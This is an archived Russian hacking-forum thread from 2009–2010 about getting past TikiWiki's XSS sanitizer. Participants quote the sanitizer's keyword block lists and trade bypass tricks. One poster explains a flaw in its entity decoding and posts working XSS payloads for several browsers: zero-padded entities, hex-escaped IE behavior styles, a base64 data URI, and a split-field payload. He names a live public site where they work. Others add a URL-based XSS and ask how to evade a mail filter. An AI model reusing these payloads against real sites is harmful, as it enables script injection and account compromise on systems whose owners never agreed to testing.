Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   обход <x> защиты от XSS (https://forum.antichat.xyz/showthread.php?t=108029)

iliz 25.02.2009 21:08

обход <x> защиты от XSS
 
может кто знает как обойти защиту TikiWiki от XSS, это когда вместо <script> <sc<x>ript>. Такая байда на все опасные слова (style, expression, etc...).

faza02 26.02.2009 12:04

а что если попробовать вложенную хсс?
кстати, кроме слов ничего не фильтруется?
был бы сайт, было б лучше.

v0lt 26.02.2009 12:08

пробуй <sc<script> или <ScRiPt>

____________________________
Мои посты- бред, чес, фальш!

//Signature generated by fake-sign emulator v.4.3.1b

faza02 26.02.2009 12:28

v0lt, он это отфильтрует, скорее всего.
<scr<script>ipt> вот так.

iliz 27.02.2009 13:03

все это пробовал, и вложенные XSS и даже пробовал закоментить <sc<!-- //-->ript> в то месте где <x> вставляется, но увы не помогает, эта единственная переменная(из тех что пробовал) в новой версии движка , где вожможно реализовать html injection, но вот с XSS проблема, все другие варианты с ha.ckers.org/xss.html тоже пробовал...., пробовал в УТФ7 кодировке(и др.), разным регистром, причем если много раз повторить <script><script><script>, то в каждом с из них появится злобная X
если по методу склеивания <sc<script> тоже не выходит
кроме слов похоже не фильтруется
сайт увы внутри компании, не в инете
в общем устал биться с санитизацией и пошел другим путем, через png картинку все получилось :) но в мозилле не бачет, ибо уязвимость только IE, заметил еще один не приятный момент, то что в explorer.exe есть уязвимость переполнения при обработке картинок, а в IE ее нет, т е если скормить ему картинку с шелом, он ее протсто не отображает, только рамочку .:(
а про санитизацию с X, может у кого еще какие идеи появятся? просто жутко интересно ;)

swt1 27.02.2009 13:18

посмотри здесь набор.
http://www.xssing.com/

iliz 27.02.2009 13:50

знаю этот ресурсик, крайне полезный, из этих техник срабатывает только marquee, но без script, т е в итоге получаем только бегущую строчку ...
эта зараза вставляет <x> во все слова типа style, expression, onerror, onload, script, alert, javascript, iframe, onmousover, onclick, eval ...
причем что примечательно, предварительно вырезает \ + и прочее
и вместо < (%3С и др кодировок) ставит &gt, а также ",',>

iliz 27.02.2009 15:40

а вот собсно и скрипт санитизации ./tiki-wiki-2.2/lib/setup/sanitization.php
там достаточно грамотно все написано, работа ребятами проделана большая...
вот собсно что санитизируется знаком X
$ra_as_tag_only = array('style', 'script', 'embed', 'object', 'applet', 'meta', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base', 'xml', 'import', 'link');
$ra_as_attribute = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','ondragdrop', 'dynsrc', 'lowsrc', 'codebase', 'xmlns');
$ra_as_content = array('vbscript', 'expression', 'blink', 'mocha', 'livescript', 'url', 'alert');
$ra_javascript =array('javascript')
ЖЕСТЬ!

faza02 27.02.2009 15:48

не выйдет там хсс..

Pashkela 27.02.2009 16:07

Дык этого, того, все ж с маленькой буквы написано, типо попробовать написать большими

iliz 27.02.2009 16:42

проблема в том что они в скрипте санитизации приводят все не стандартные кодировки к стандартной и только затем составляют для каждого $ra отдельный динамичиский regexp с ключами //gi, поэтому не бачет...
но у меня всеж надежда не умирает , щас анализирую коды, пытаюсь найти выход...

LeverOne 04.03.2009 03:22

TikiWiki 2.2 CMS/Groupware XSS vulnerability


Неправильный кусок кода из файла sanitization.php

PHP код:

for ($i 0$i strlen($search); $i++) {
            
// ;? matches the ;, which is optional
            // 0{0,8} matches any padded zeros,
            // which are optional and go up to 8 chars
            // &#x0040 @ search for the hex values
            
$patterns[] = '/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i';
            
$replacements[] = $search[$i];
            
// &#00064 @ 0{0,8} matches '0' zero to eight times
            // with a ;
            
$patterns[] = '/(&#0{0,8}'.ord($search[$i]).';?)/';
            
$replacements[] = $search[$i];
        } 

В Opera и FF ограничений по количеству опциональных нулей нет, поэтому если при кодировании используется хотя бы 9 нулей, фильтр считает, что перед ним другой символ.

активная XSS (Opera only)*

PHP код:

<img src="&#000000000106avascript:confirm(/lo/)"

*в различных полях невозможность использования этого способа вызвана дополнительной фильтрацией. Так, например, в личных сообщениях, либо тексте комментариев блога, если фильтр не определил закодированный символ, идет преобразование & --> &amp; Однако же в названиях и описаниях блогов этой допфильтрации нет.

активная XSS (IE only)

Код:

<img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" end=0 onend=confirm(/lo/)>
или

Код:

<img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" onbegin="confirm(/lo/)">
*пропуск событий HTML+Time2
*пропуск эскейп-последовательностей


пассивная XSS (Opera & FF)

Код:

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgvbG8vKTwvc2NyaXB0Pg==">click me</a>

Проверка производилась на локально установленном движке в личных сообщениях и блогах, этого достаточно, чтобы увидеть практическую работу модуля sanitization.php. Дополнительная фильтрация в отдельных полях может быть обсуждена отдельно.

Также следует отметить неаккуратную работу фильтра со структурой тега. Весьма легко производится выход за пределы тега. Невнимание разработчиков можно объяснить тем, что за пределами тега существует такая же фильтрация, как и внутри него. Однако же фильтрация между полями на одной странице отсутствует, в силу чего можно составить код xss, берущий начало в одном поле, а заканчивающийся в другом.

Замечательное подтверждение вышесказанному сайтец http://lojban.org, основанный на tikiwiki 3.0beta. В форумных заголовках (title) сообщений проходят ВСЕ вышеописанные XSS.

Активная XSS уязвимость, основанная на нарушении структуры тега, может быть такая (IE only):
в заголовке форумного сообщения
Код:

<a style=`display:none;lo:expres/*;></a>
в теле форумного сообщения
Код:

[http://www.foo.com/lo*/sion(this.lo==true?true:confirm(/lo/,this.lo=true));`| ]

iliz 04.03.2009 11:29

хм.... вери интерестинг!
а я пока раскопал URL XSS в tiki-galleries.php который не подвержен фильтрации :)
tiki-galleries.php/>"><ScRipt>alert(666)</scRipt>

iliz 06.03.2009 15:06

Да, про base64 encoding совсем забыл... каюсь
с дивами и с нулями не бачет, видимо что-то он перекодирует, или еще что-то делает, после \75rl идет урезание

iliz 06.03.2009 15:28

сорри, запинается на # симовле...

iliz 10.03.2009 17:11

LeverOne да ты воистину гуру!
откуда столько тонкостей знаешь? (про нули например) Я чесно говоря до тебя не встречал, и не знал, такого :)
спасибо тебе громадно! жутко выручил!

SEKTOR3A 13.02.2010 21:12

как использовать такую кодировку \75\72\6C\28\23\64\65\66\61\75\6C\74\23\7 4\69\6D\65\32\29

дайти ссылку плиз

Ctacok 14.02.2010 09:45

Цитата:

Сообщение от SEKTOR3A
как использовать такую кодировку \75\72\6C\28\23\64\65\66\61\75\6C\74\23\7 4\69\6D\65\32\29

дайти ссылку плиз

HEX это.

SEKTOR3A 15.02.2010 04:32

спс., возможно ли избавится от такого фильтра который сам после получения какого либо письма вписывает значение filtered-
и именно там где стоит onmouseover пробовал как -нить закодить но не вышло может есть на это какие -нить варианты
<a href="mail.html" filtered-onmouseover="alert('Your Message');return true;" target="_blank">Linked Text</a>

sps.


Время: 14:31